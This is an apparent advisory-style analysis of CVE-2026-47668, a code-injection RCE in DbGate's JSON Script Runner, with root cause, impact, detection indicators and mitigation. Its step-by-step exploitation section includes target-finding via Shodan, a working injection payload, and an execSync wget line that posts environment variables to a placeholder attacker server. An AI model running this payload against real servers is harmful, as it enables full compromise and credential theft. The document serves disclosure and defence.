CVE-2026-47668: 
JavaScript vulnerability analysis and mitigation

CVE-2026-47668 is a critical unauthenticated remote code execution (RCE) vulnerability in DbGate's JSON Script Runner (POST /runners/start) affecting the dbgate-serve npm package versions 7.1.8 and earlier. The vulnerability was discovered on 2026-03-31, reported to the maintainer on 2026-04-07, patched in v7.1.9 on 2026-04-22, and publicly disclosed on 2026-05-20. In the default deployment configuration (anonymous authentication), it carries a CVSS v3.1 base score of 10.0 (Critical); in authenticated deployments, the score is 9.9 (Critical) (GitHub Advisory, DbGate Advisory).

The root cause is improper input validation (CWE-20) combined with code injection (CWE-94) and an insecure default configuration (CWE-1188). In packages/tools/src/ScriptWriter.ts, the assignCore() method directly concatenates attacker-controlled functionName and variableName values from the JSON request body into dynamically generated JavaScript source code: this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);. The compileShellApiFunctionName() function in packageTools.ts prepends dbgateApi. to the input but performs no sanitization, so a payload like x;process.mainModule.require('child_process').execSync('...');// produces syntactically valid JavaScript that executes arbitrary commands. The generated script is written to a temporary file and executed via child_process.fork(), granting full Node.js runtime access. Critically, the JSON script path bypasses both the run-shell-script permission check and the allowShellScripting platform-level check, and the require = null sandbox is trivially bypassed via process.mainModule.require() or module.constructor._load(). The same injection pattern also exists in the POST /runners/load-reader endpoint (GitHub Advisory, DbGate Advisory).

Successful exploitation grants an attacker arbitrary code execution within the Node.js child process at the DbGate service's privilege level, with full access to Node.js built-in modules including child_process, fs, and net. In the default anonymous authentication mode — which requires no credentials — this results in complete server compromise, including full confidentiality loss (environment variables, database credentials, filesystem contents), integrity loss (file modification, data manipulation), and availability loss (service disruption). The changed scope (S:C) in the CVSS vector indicates that the impact extends beyond the DbGate process itself, enabling lateral movement to connected databases and internal network resources (GitHub Advisory, NetSecOps).

1. Reconnaissance: Use Shodan (http.favicon.hash:1198579728) or Censys to identify internet-facing DbGate instances running dbgate-serve version 7.1.8 or earlier on port 3000.
2. Obtain bearer token (if needed): In default anonymous deployments, no token is required. If authentication is configured, retrieve a token with: curl -sk -H "Content-Type: application/json" -d '{"amoid":"none"}' http://<target>:3000/auth/login.
3. Craft malicious JSON payload: Construct a POST request to /runners/start with script.type = "json" and an assign command where functionName contains the injection payload, e.g.: "functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>&1)\" http://<attacker-server>/');// ".
4. Send the exploit request: Submit the crafted POST request to http://<target>:3000/runners/start with Content-Type: application/json and the bearer token (if required).
5. Trigger code execution: The server's jsonScriptToJavascript() function concatenates the unsanitized functionName into JavaScript source, which is written to a temp file and executed via child_process.fork(), running the injected command as the DbGate process user.
6. Achieve persistence/lateral movement: With full Node.js runtime access, deploy a reverse shell, exfiltrate database credentials from the environment, or pivot to connected database systems (GitHub Advisory, DbGate Advisory).

• Network: Unexpected outbound HTTP/DNS requests from the DbGate server to external hosts (e.g., via wget, curl, or nslookup); POST requests to /runners/start or /runners/load-reader containing semicolons, process.mainModule, child_process, or require in the functionName or variableName JSON fields.
• Logs: DbGate access logs showing POST requests to /runners/start with anomalous JSON bodies; Node.js error logs referencing unexpected module loads or execSync/exec calls from runner scripts.
• File System: Unexpected temporary JavaScript files created in ~/.dbgate/run/<uuid>/ directories containing injected code; new files dropped by the DbGate process user in writable directories (web shells, cron jobs, SSH keys).
• Process: Unusual child processes spawned by the DbGate Node.js process (e.g., wget, curl, bash, sh, nslookup, python) visible in process trees; unexpected network connections initiated by Node.js worker processes (GitHub Advisory, runZero Nuclei Template).

Upgrade dbgate-serve to version 7.1.9 or later, which adds validation for function and file names to prevent injection (DbGate v7.1.9 Release). As an immediate workaround, restrict network access to the DbGate service (port 3000) to trusted networks only using firewall rules or network segmentation. Additionally, explicitly configure authentication by setting the appropriate environment variables (e.g., authProvider) rather than relying on the insecure anonymous default — this raises the attack bar from unauthenticated (CVSS 10.0) to authenticated (CVSS 9.9) but does not eliminate the vulnerability (GitHub Advisory).

The vulnerability was covered in the weekly threat intelligence digest by SecurityOnline and highlighted by NetSecOps as part of a broader report on critical CVSS 10.0 flaws affecting cloud environments (SecurityOnline, NetSecOps). Loginsoft published analysis noting the vulnerability's weaponization potential alongside botnets and ransomware activity (Loginsoft Medium). ProjectDiscovery added multiple Nuclei detection templates for the vulnerability, and a standalone PoC exploit repository appeared on GitHub shortly after public disclosure (ThreatCluster).